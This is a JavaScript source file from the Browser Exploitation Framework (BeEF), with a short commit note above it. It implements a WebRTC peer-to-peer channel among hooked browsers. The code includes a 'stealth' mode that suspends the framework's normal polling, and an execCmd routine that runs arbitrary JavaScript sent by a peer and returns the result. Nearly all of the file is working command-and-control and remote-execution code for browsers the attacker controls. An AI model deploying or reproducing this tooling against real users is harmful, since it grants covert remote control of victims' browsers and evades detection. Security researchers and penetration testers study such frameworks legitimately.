Thanks to updates in modern FFs handling of WebRTC the webrtcadapter wrapper had to be updated. To ensure this would be picked up, also added WebRTC REST integration test cases. The tests only run if the extension is enabled, which is still OFF by default. See Issue #1134 and #1083
647 lines
27 KiB
JavaScript
647 lines
27 KiB
JavaScript
//
|
|
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
|
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
|
// See the file 'doc/COPYING' for copying permission
|
|
//
|
|
|
|
|
|
/**
|
|
* @Literal object: beef.webrtc
|
|
*
|
|
* Manage the WebRTC peer to peer communication channels.
|
|
* This objects contains all the necessary client-side WebRTC components,
|
|
* allowing browsers to use WebRTC to communicate with each other.
|
|
* To provide signaling, the WebRTC extension sets up custom listeners.
|
|
* /rtcsignal - for sending RTC signalling information between peers
|
|
* /rtcmessage - for client-side rtc messages to be submitted back into beef and logged.
|
|
*
|
|
* To ensure signaling gets back to the peers, the hook.js dynamic construction also includes
|
|
* the signalling.
|
|
*
|
|
* This is all mostly a Proof of Concept
|
|
*/
|
|
|
|
beefrtcs = {}; // To handle multiple peers - we need to have a hash of Beefwebrtc objects
|
|
// The key is the peer id
|
|
globalrtc = {}; // To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects
|
|
// these objects persist outside of everything else
|
|
// The key is the peer id
|
|
rtcstealth = false; // stealth should only be initiated from one peer - this global variable will contain:
|
|
// false - i.e not stealthed; or
|
|
// <peerid> - i.e. the id of the browser which initiated stealth mode
|
|
rtcrecvchan = {}; // To handle multiple event channels - we need to have a global hash of these
|
|
// The key is the peer id
|
|
|
|
// Beefwebrtc object - wraps everything together for a peer connection
|
|
// One of these per peer connection, and will be stored in the beefrtc global hash
|
|
function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) {
|
|
this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not
|
|
this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver
|
|
this.peerid = typeof peer !== 'undefined' ? peer : null; // id of this rtc peer
|
|
this.turnjson = turnjson; // set of TURN servers in the format:
|
|
// {"username": "<username", "password": "<password>", "uris": [
|
|
// "turn:<ip>:<port>?transport=<udp/tcp>",
|
|
// "turn:<ip>:<port>?transport=<udp/tcp>"]}
|
|
this.started = false; // Has signaling / dialing started for this peer
|
|
this.gotanswer = false; // For the caller - this determines whether they have received an SDP answer from the receiver
|
|
this.turnDone = false; // does the pcConfig have TURN servers added to it?
|
|
this.signalingReady = false; // the initiator (Caller) is always ready to signal. So this sets to true during init
|
|
// the receiver will set this to true once it receives an SDP 'offer'
|
|
this.msgQueue = []; // because the handling of SDP signals may happen in any order - we need a queue for them
|
|
this.pcConfig = null; // We set this during init
|
|
this.pcConstraints = {"optional": [{"googImprovedWifiBwe": true}]} // PeerConnection constraints
|
|
this.offerConstraints = {"optional": [], "mandatory": {}}; // Default SDP Offer Constraints - used in the caller
|
|
this.sdpConstraints = {'optional': [{'RtpDataChannels':true}]}; // Default SDP Constraints - used by caller and receiver
|
|
this.gatheredIceCandidateTypes = { Local: {}, Remote: {} }; // ICE Candidates
|
|
this.allgood = false; // Is this object / peer connection with the nominated peer ready to go?
|
|
this.dataChannel = null; // The data channel used by this peer
|
|
this.stunservers = stunservers; // set of STUN servers, in the format:
|
|
// ["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]
|
|
}
|
|
|
|
// Initialize the object
|
|
Beefwebrtc.prototype.initialize = function() {
|
|
if (this.peerid == null) {
|
|
return 0; // no peerid - NO DICE
|
|
}
|
|
|
|
// Initialise the pcConfig hash with the provided stunservers
|
|
var stuns = JSON.parse(this.stunservers);
|
|
this.pcConfig = {"iceServers": [{"urls":stuns, "username":"user",
|
|
"credential":"pass"}]};
|
|
|
|
// We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF
|
|
// this.forceTurn(this.turnjson);
|
|
this.turnDone = true;
|
|
|
|
// Caller is always ready to create peerConnection.
|
|
this.signalingReady = this.initiator;
|
|
|
|
// Start .. maybe
|
|
this.maybeStart();
|
|
|
|
// If the window is closed, send a signal to beef .. this is not all that great, so just commenting out
|
|
// window.onbeforeunload = function() {
|
|
// this.sendSignalMsg({type: 'bye'});
|
|
// }
|
|
|
|
return 1; // because .. yeah .. we had a peerid - this is good yar.
|
|
}
|
|
|
|
//Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive)
|
|
//These values are now simply passed in from the config.yaml for the webrtc extension
|
|
Beefwebrtc.prototype.forceTurn = function(jason) {
|
|
var turnServer = JSON.parse(jason);
|
|
var iceServers = createIceServers(turnServer.uris,
|
|
turnServer.username,
|
|
turnServer.password);
|
|
if (iceServers !== null) {
|
|
this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
|
|
}
|
|
if (this.verbose) {beef.debug("Got TURN servers, will try and maybestart again..");}
|
|
this.turnDone = true;
|
|
this.maybeStart();
|
|
}
|
|
|
|
// Try and establish the RTC connection
|
|
Beefwebrtc.prototype.createPeerConnection = function() {
|
|
if (this.verbose) {
|
|
beef.debug('Creating RTCPeerConnnection with the following options:\n' +
|
|
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
|
|
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
|
|
}
|
|
try {
|
|
// Create an RTCPeerConnection via the polyfill (webrtcadapter.js).
|
|
globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
|
|
globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
|
|
if (this.verbose) {
|
|
beef.debug('Created RTCPeerConnnection with the following options:\n' +
|
|
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
|
|
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
|
|
}
|
|
} catch (e) {
|
|
if (this.verbose) {
|
|
beef.debug('Failed to create PeerConnection, exception: ');
|
|
beef.debug(e);
|
|
}
|
|
return;
|
|
}
|
|
|
|
// Assign event handlers to signalstatechange, iceconnectionstatechange, datachannel etc
|
|
globalrtc[this.peerid].onsignalingstatechange = this.onSignalingStateChanged;
|
|
globalrtc[this.peerid].oniceconnectionstatechange = this.onIceConnectionStateChanged;
|
|
globalrtc[this.peerid].ondatachannel = this.onDataChannel;
|
|
this.dataChannel = globalrtc[this.peerid].createDataChannel("sendDataChannel", {reliable:false});
|
|
}
|
|
|
|
// When the PeerConnection receives a new ICE Candidate
|
|
Beefwebrtc.prototype.onIceCandidate = function(event) {
|
|
var peerid = null;
|
|
|
|
for (var k in beefrtcs) {
|
|
if (beefrtcs[k].allgood === false) {
|
|
peerid = beefrtcs[k].peerid;
|
|
}
|
|
}
|
|
|
|
if (beefrtcs[peerid].verbose) {
|
|
beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
|
|
beef.debug(event);
|
|
}
|
|
|
|
if (event.candidate) {
|
|
// Send the candidate to the peer via the BeEF signalling channel
|
|
beefrtcs[peerid].sendSignalMsg({type: 'candidate',
|
|
label: event.candidate.sdpMLineIndex,
|
|
id: event.candidate.sdpMid,
|
|
candidate: event.candidate.candidate});
|
|
// Note this ICE candidate locally
|
|
beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
|
|
} else {
|
|
if (beefrtcs[peerid].verbose) {beef.debug('End of candidates.');}
|
|
}
|
|
}
|
|
|
|
// For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function
|
|
// This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage
|
|
// against the message directly
|
|
Beefwebrtc.prototype.processMessage = function(message) {
|
|
if (this.verbose) {
|
|
beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));
|
|
}
|
|
var msg = JSON.parse(message);
|
|
|
|
if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer
|
|
if (this.verbose) {beef.debug('processing the message, as a receiver');}
|
|
if (msg.type === 'offer') { // This IS an SDP Offer
|
|
if (this.verbose) {beef.debug('.. and the message is an offer .. ');}
|
|
this.msgQueue.unshift(msg); // put it on the top of the msgqueue
|
|
this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
|
|
this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
|
|
} else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
|
|
if (this.verbose) {beef.debug(' .. the message is NOT an offer .. ');}
|
|
this.msgQueue.push(msg);
|
|
}
|
|
} else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer
|
|
if (this.verbose) {beef.debug('processing the message, as the sender, no answers yet');}
|
|
if (msg.type === 'answer') { // This IS an SDP Answer
|
|
if (this.verbose) {beef.debug('.. and we have an answer ..');}
|
|
this.processSignalingMessage(msg); // Process the message directly
|
|
this.gotanswer = true; // We have now received an answer
|
|
//process all other queued message...
|
|
while (this.msgQueue.length > 0) {
|
|
this.processSignalingMessage(this.msgQueue.shift());
|
|
}
|
|
} else { // This is NOT an SDP Answer - as the caller, just add it to the queue
|
|
if (this.verbose) {beef.debug('.. not an answer ..');}
|
|
this.msgQueue.push(msg);
|
|
}
|
|
} else { // For all other messages just drop them in the queue
|
|
if (this.verbose) {beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');}
|
|
this.processSignalingMessage(msg);
|
|
}
|
|
}
|
|
|
|
// Send a signalling message ..
|
|
Beefwebrtc.prototype.sendSignalMsg = function(message) {
|
|
var msgString = JSON.stringify(message);
|
|
if (this.verbose) {beef.debug('Signalling Message - C->S: ' + msgString);}
|
|
beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
|
|
}
|
|
|
|
// Used to record ICS candidates locally
|
|
Beefwebrtc.prototype.noteIceCandidate = function(location, type) {
|
|
if (this.gatheredIceCandidateTypes[location][type])
|
|
return;
|
|
this.gatheredIceCandidateTypes[location][type] = 1;
|
|
// updateInfoDiv();
|
|
}
|
|
|
|
// When the signalling state changes. We don't actually do anything with this except log it.
|
|
Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
|
|
var localverbose = false;
|
|
|
|
for (var k in beefrtcs) {
|
|
if (beefrtcs[k].verbose === true) {
|
|
localverbose = true;
|
|
}
|
|
}
|
|
|
|
if (localverbose === true) {beef.debug("Signalling has changed to: " + event.target.signalingState);}
|
|
}
|
|
|
|
// When the ICE Connection State changes - this is useful to determine connection statuses with peers.
|
|
Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
|
|
var peerid = null;
|
|
|
|
for (k in globalrtc) {
|
|
if ((globalrtc[k].localDescription.sdp === event.target.localDescription.sdp) && (globalrtc[k].localDescription.type === event.target.localDescription.type)) {
|
|
peerid = k;
|
|
}
|
|
}
|
|
|
|
if (beefrtcs[peerid].verbose) {beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);}
|
|
|
|
// ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for
|
|
// better candidates or connections
|
|
if (event.target.iceConnectionState === 'connected') {
|
|
//Send status to peer
|
|
window.setTimeout(function() {
|
|
beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
|
|
beefrtcs[peerid].allgood = true;
|
|
},1000);
|
|
}
|
|
|
|
// Completed is similar to connected. Except, each of the ICE components are good, and no more testing remote candidates is done.
|
|
if (event.target.iceConnectionState === 'completed') {
|
|
window.setTimeout(function() {
|
|
beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
|
|
beefrtcs[peerid].allgood = true;
|
|
},1000);
|
|
}
|
|
|
|
if ((rtcstealth == peerid) && (event.target.iceConnectionState === 'disconnected')) {
|
|
//I was in stealth mode, talking back to this peer - but it's gone offline.. come out of stealth
|
|
rtcstealth = false;
|
|
beefrtcs[peerid].allgood = false;
|
|
beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
|
|
} else if ((rtcstealth == false) && (event.target.iceConnectionState === 'disconnected')) {
|
|
//I was not in stealth, and this peer has gone offline - send a message
|
|
beefrtcs[peerid].allgood = false;
|
|
beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
|
|
}
|
|
// We don't handle situations where a stealthed peer loses a peer that is NOT the peer that made it go into stealth
|
|
// This is possibly a bad idea - @xntrik
|
|
|
|
|
|
}
|
|
|
|
// This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth"
|
|
Beefwebrtc.prototype.goStealth = function() {
|
|
//stop the beef updater
|
|
rtcstealth = this.peerid; // this is a global variable
|
|
beef.updater.lock = true;
|
|
this.sendPeerMsg('Going into stealth mode');
|
|
|
|
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3);
|
|
}
|
|
|
|
// This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it
|
|
rtcpollPeer = function() {
|
|
if (rtcstealth == false) {
|
|
//my peer has disabled stealth mode
|
|
beef.updater.lock = false;
|
|
return;
|
|
}
|
|
|
|
if (beefrtcs[rtcstealth].verbose) {beef.debug('lub dub');}
|
|
|
|
beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth
|
|
|
|
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3);
|
|
}
|
|
|
|
// When a data channel has been established - within here is the message handling function as well
|
|
Beefwebrtc.prototype.onDataChannel = function(event) {
|
|
var peerid = null;
|
|
for (k in globalrtc) {
|
|
if ((globalrtc[k].localDescription.sdp === event.currentTarget.localDescription.sdp) && (globalrtc[k].localDescription.type === event.currentTarget.localDescription.type)) {
|
|
peerid = k;
|
|
}
|
|
}
|
|
|
|
if (beefrtcs[peerid].verbose) {beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");}
|
|
rtcrecvchan[peerid] = event.channel;
|
|
|
|
// This is the onmessage event handling within the datachannel
|
|
rtcrecvchan[peerid].onmessage = function(ev2) {
|
|
if (beefrtcs[peerid].verbose) {beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);}
|
|
|
|
// We've received the command to go into stealth mode
|
|
if (ev2.data == "!gostealth") {
|
|
if (beef.updater.lock == true) {
|
|
setTimeout(function() {beefrtcs[peerid].goStealth()},beef.updater.xhr_poll_timeout * 0.4);
|
|
} else {
|
|
beefrtcs[peerid].goStealth();
|
|
}
|
|
|
|
// The message to come out of stealth
|
|
} else if (ev2.data == "!endstealth") {
|
|
|
|
if (rtcstealth != null) {
|
|
beefrtcs[rtcstealth].sendPeerMsg("Coming out of stealth...");
|
|
rtcstealth = false;
|
|
}
|
|
|
|
// Command to perform arbitrary JS (while stealthed)
|
|
} else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
|
|
if (beefrtcs[peerid].verbose) {beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');}
|
|
beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));
|
|
|
|
// Command to perform arbitrary JS (while NOT stealthed)
|
|
} else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
|
|
if (beefrtcs[peerid].verbose) {beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));}
|
|
beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
|
|
|
|
// Just a plain text message .. (while stealthed)
|
|
} else if (rtcstealth != false) {
|
|
if (beefrtcs[peerid].verbose) {beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');}
|
|
beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
|
|
|
|
// Just a plan text message (while NOT stealthed)
|
|
} else {
|
|
if (beefrtcs[peerid].verbose) {beef.debug('received a message from peer['+peerid+'] - sending it back to beef');}
|
|
beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
|
|
}
|
|
}
|
|
}
|
|
|
|
// How the browser executes received JS (this is pretty hacky)
|
|
Beefwebrtc.prototype.execCmd = function(input) {
|
|
var fn = new Function(input);
|
|
var res = fn();
|
|
return res.toString();
|
|
}
|
|
|
|
// Shortcut function to SEND a data messsage
|
|
Beefwebrtc.prototype.sendPeerMsg = function(msg) {
|
|
if (this.verbose) {beef.debug('sendPeerMsg to ' + this.peerid);}
|
|
this.dataChannel.send(msg);
|
|
}
|
|
|
|
// Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready
|
|
Beefwebrtc.prototype.maybeStart = function() {
|
|
if (this.verbose) {beef.debug("maybe starting ... ");}
|
|
|
|
if (!this.started && this.signalingReady && this.turnDone) {
|
|
if (this.verbose) {beef.debug('Creating PeerConnection.');}
|
|
this.createPeerConnection();
|
|
|
|
this.started = true;
|
|
|
|
if (this.initiator) {
|
|
if (this.verbose) {beef.debug("Making the call now .. bzz bzz");}
|
|
this.doCall();
|
|
} else {
|
|
if (this.verbose) {beef.debug("Receiving a call now .. somebuddy answer da fone?");}
|
|
this.calleeStart();
|
|
}
|
|
|
|
} else {
|
|
if (this.verbose) {beef.debug("Not ready to start just yet..");}
|
|
}
|
|
}
|
|
|
|
// RTC - create an offer - the caller runs this, while the receiver runs calleeStart()
|
|
Beefwebrtc.prototype.doCall = function() {
|
|
var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
|
|
var self = this;
|
|
globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);
|
|
if (this.verbose) {beef.debug('Sending offer to peer, with constraints: \n' +
|
|
' \'' + JSON.stringify(constraints) + '\'.');}
|
|
}
|
|
|
|
// Helper method to merge SDP constraints
|
|
Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) {
|
|
var merged = cons1;
|
|
for (var name in cons2.mandatory) {
|
|
merged.mandatory[name] = cons2.mandatory[name];
|
|
}
|
|
merged.optional.concat(cons2.optional);
|
|
return merged;
|
|
}
|
|
|
|
// Sets the local RTC session description, sends this information back (via signalling)
|
|
// The caller uses this to set it's local description, and it then has to send this to the peer (via signalling)
|
|
// The receiver uses this information too - and vice-versa - hence the signaling
|
|
Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
|
|
// This fucking function does NOT receive a 'this' state, and you can't pass additional parameters
|
|
// Stupid .. javascript :(
|
|
// So I'm hacking it to find the peerid gah - I believe *this* is what means you can't establish peers concurrently
|
|
// i.e. this browser will have to wait for this peerconnection to establish before attempting to connect to the next one..
|
|
var peerid = null;
|
|
|
|
for (var k in beefrtcs) {
|
|
if (beefrtcs[k].allgood === false) {
|
|
peerid = beefrtcs[k].peerid;
|
|
}
|
|
}
|
|
if (beefrtcs[peerid].verbose) {beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");}
|
|
|
|
globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);
|
|
beefrtcs[peerid].sendSignalMsg(sessionDescription);
|
|
|
|
function onSetSessionDescriptionSuccess() {
|
|
if (beefrtcs[peerid].verbose) {beef.debug('Set session description success.');}
|
|
}
|
|
|
|
function onSetSessionDescriptionError() {
|
|
if (beefrtcs[peerid].verbose) {beef.debug('Failed to set session description');}
|
|
}
|
|
}
|
|
|
|
// If the browser can't build an SDP
|
|
Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
|
|
var localverbose = false;
|
|
|
|
for (var k in beefrtcs) {
|
|
if (beefrtcs[k].verbose === true) {
|
|
localverbose = true;
|
|
}
|
|
}
|
|
if (localverbose === true) {beef.debug('Failed to create session description: ' + error.toString());}
|
|
}
|
|
|
|
// If the browser successfully sets a remote description
|
|
Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
|
|
var localverbose = false;
|
|
|
|
for (var k in beefrtcs) {
|
|
if (beefrtcs[k].verbose === true) {
|
|
localverbose = true;
|
|
}
|
|
}
|
|
if (localverbose === true) {beef.debug('Set remote session description successfully');}
|
|
}
|
|
|
|
// Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
|
|
Beefwebrtc.prototype.calleeStart = function() {
|
|
// Callee starts to process cached offer and other messages.
|
|
while (this.msgQueue.length > 0) {
|
|
this.processSignalingMessage(this.msgQueue.shift());
|
|
}
|
|
}
|
|
|
|
// Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
|
|
Beefwebrtc.prototype.processSignalingMessage = function(message) {
|
|
if (!this.started) {
|
|
if (this.verbose) {beef.debug('peerConnection has not been created yet!');}
|
|
return;
|
|
}
|
|
|
|
if (message.type === 'offer') {
|
|
if (this.verbose) {beef.debug("Processing signalling message: OFFER");}
|
|
if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new
|
|
// version of FF - which no longer works
|
|
if (this.verbose) {beef.debug("Moz shim here");}
|
|
globalrtc[this.peerid].setRemoteDescription(
|
|
new RTCSessionDescription(message),
|
|
function() {
|
|
// globalrtc[this.peerid].createAnswer(function(answer) {
|
|
// globalrtc[this.peerid].setLocalDescription(
|
|
|
|
var peerid = null;
|
|
|
|
for (var k in beefrtcs) {
|
|
if (beefrtcs[k].allgood === false) {
|
|
peerid = beefrtcs[k].peerid;
|
|
}
|
|
}
|
|
|
|
globalrtc[peerid].createAnswer(function(answer) {
|
|
globalrtc[peerid].setLocalDescription(
|
|
new RTCSessionDescription(answer),
|
|
function() {
|
|
beefrtcs[peerid].sendSignalMsg(answer);
|
|
},function(error) {
|
|
beef.debug("setLocalDescription error: " + error);
|
|
});
|
|
},function(error) {
|
|
beef.debug("createAnswer error: " +error);
|
|
});
|
|
},function(error) {
|
|
beef.debug("setRemoteDescription error: " + error);
|
|
});
|
|
|
|
} else {
|
|
this.setRemote(message);
|
|
this.doAnswer();
|
|
}
|
|
} else if (message.type === 'answer') {
|
|
if (this.verbose) {beef.debug("Processing signalling message: ANSWER");}
|
|
if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer
|
|
if (this.verbose) {beef.debug("Moz shim here");}
|
|
globalrtc[this.peerid].setRemoteDescription(
|
|
new RTCSessionDescription(message),
|
|
function() {},
|
|
function(error) {
|
|
beef.debug("setRemoteDescription error: " + error);
|
|
});
|
|
} else {
|
|
this.setRemote(message);
|
|
}
|
|
} else if (message.type === 'candidate') {
|
|
if (this.verbose) {beef.debug("Processing signalling message: CANDIDATE");}
|
|
var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
|
|
candidate: message.candidate});
|
|
this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
|
|
globalrtc[this.peerid].addIceCandidate(candidate, this.onAddIceCandidateSuccess, this.onAddIceCandidateError);
|
|
} else if (message.type === 'bye') {
|
|
this.onRemoteHangup();
|
|
}
|
|
}
|
|
|
|
// Used to set the RTC remote session
|
|
Beefwebrtc.prototype.setRemote = function(message) {
|
|
globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
|
|
this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
|
|
|
|
// function onSetRemoteDescriptionSuccess() {
|
|
// if (this.verbose) {beef.debug("Set remote session description success.");}
|
|
// }
|
|
}
|
|
|
|
// As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
|
|
Beefwebrtc.prototype.doAnswer = function() {
|
|
if (this.verbose) {beef.debug('Sending answer to peer.');}
|
|
globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);
|
|
}
|
|
|
|
// Helper method to determine what kind of ICE Candidate we've received
|
|
Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) {
|
|
if (candidateSDP.indexOf("typ relay ") >= 0)
|
|
return "TURN";
|
|
if (candidateSDP.indexOf("typ srflx ") >= 0)
|
|
return "STUN";
|
|
if (candidateSDP.indexOf("typ host ") >= 0)
|
|
return "HOST";
|
|
return "UNKNOWN";
|
|
}
|
|
|
|
// Event handler for successful addition of ICE Candidates
|
|
Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
|
|
var localverbose = false;
|
|
|
|
for (var k in beefrtcs) {
|
|
if (beefrtcs[k].verbose === true) {
|
|
localverbose = true;
|
|
}
|
|
}
|
|
if (localverbose === true) {beef.debug('AddIceCandidate success.');}
|
|
}
|
|
|
|
// Event handler for unsuccessful addition of ICE Candidates
|
|
Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
|
|
var localverbose = false;
|
|
|
|
for (var k in beefrtcs) {
|
|
if (beefrtcs[k].verbose === true) {
|
|
localverbose = true;
|
|
}
|
|
}
|
|
if (localverbose === true) {beef.debug('Failed to add Ice Candidate: ' + error.toString());}
|
|
}
|
|
|
|
// If a peer hangs up (we bring down the peerconncetion via the stop() method)
|
|
Beefwebrtc.prototype.onRemoteHangup = function() {
|
|
if (this.verbose) {beef.debug('Session terminated.');}
|
|
this.initiator = 0;
|
|
// transitionToWaiting();
|
|
this.stop();
|
|
}
|
|
|
|
// Bring down the peer connection
|
|
Beefwebrtc.prototype.stop = function() {
|
|
this.started = false; // we're no longer started
|
|
this.signalingReady = false; // signalling isn't ready
|
|
globalrtc[this.peerid].close(); // close the RTCPeerConnection option
|
|
globalrtc[this.peerid] = null; // Remove it
|
|
this.msgQueue.length = 0; // clear the msgqueue
|
|
rtcstealth = false; // no longer stealth
|
|
this.allgood = false; // allgood .. NAH UH
|
|
}
|
|
|
|
// The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status
|
|
// These are the methods which are executed via the custom extension of the hook.js
|
|
beef.webrtc = {
|
|
// Start the RTCPeerConnection process
|
|
start: function(initiator,peer,turnjson,stunservers,verbose) {
|
|
if (peer in beefrtcs) {
|
|
// If the RTC peer is not in a good state, try kickng it off again
|
|
// This is possibly not the correct way to handle this issue though :/ I.e. we'll now have TWO of these objects :/
|
|
if (beefrtcs[peer].allgood == false) {
|
|
beefrtcs[peer] = new Beefwebrtc(initiator, peer, turnjson, stunservers, verbose);
|
|
beefrtcs[peer].initialize();
|
|
}
|
|
} else {
|
|
// Standard behaviour for new peer connections
|
|
beefrtcs[peer] = new Beefwebrtc(initiator,peer,turnjson, stunservers, verbose);
|
|
beefrtcs[peer].initialize();
|
|
}
|
|
},
|
|
|
|
// Check the status of all my peers ..
|
|
status: function(me) {
|
|
if (Object.keys(beefrtcs).length > 0) {
|
|
for (var k in beefrtcs) {
|
|
if (beefrtcs.hasOwnProperty(k)) {
|
|
beef.net.send('/rtcmessage',0,{peerid: k, message: "Status checking - allgood: " + beefrtcs[k].allgood});
|
|
}
|
|
}
|
|
} else {
|
|
beef.net.send('/rtcmessage',0,{peerid: me, message: "No peers?"});
|
|
}
|
|
}
|
|
}
|
|
beef.regCmp('beef.webrtc');
|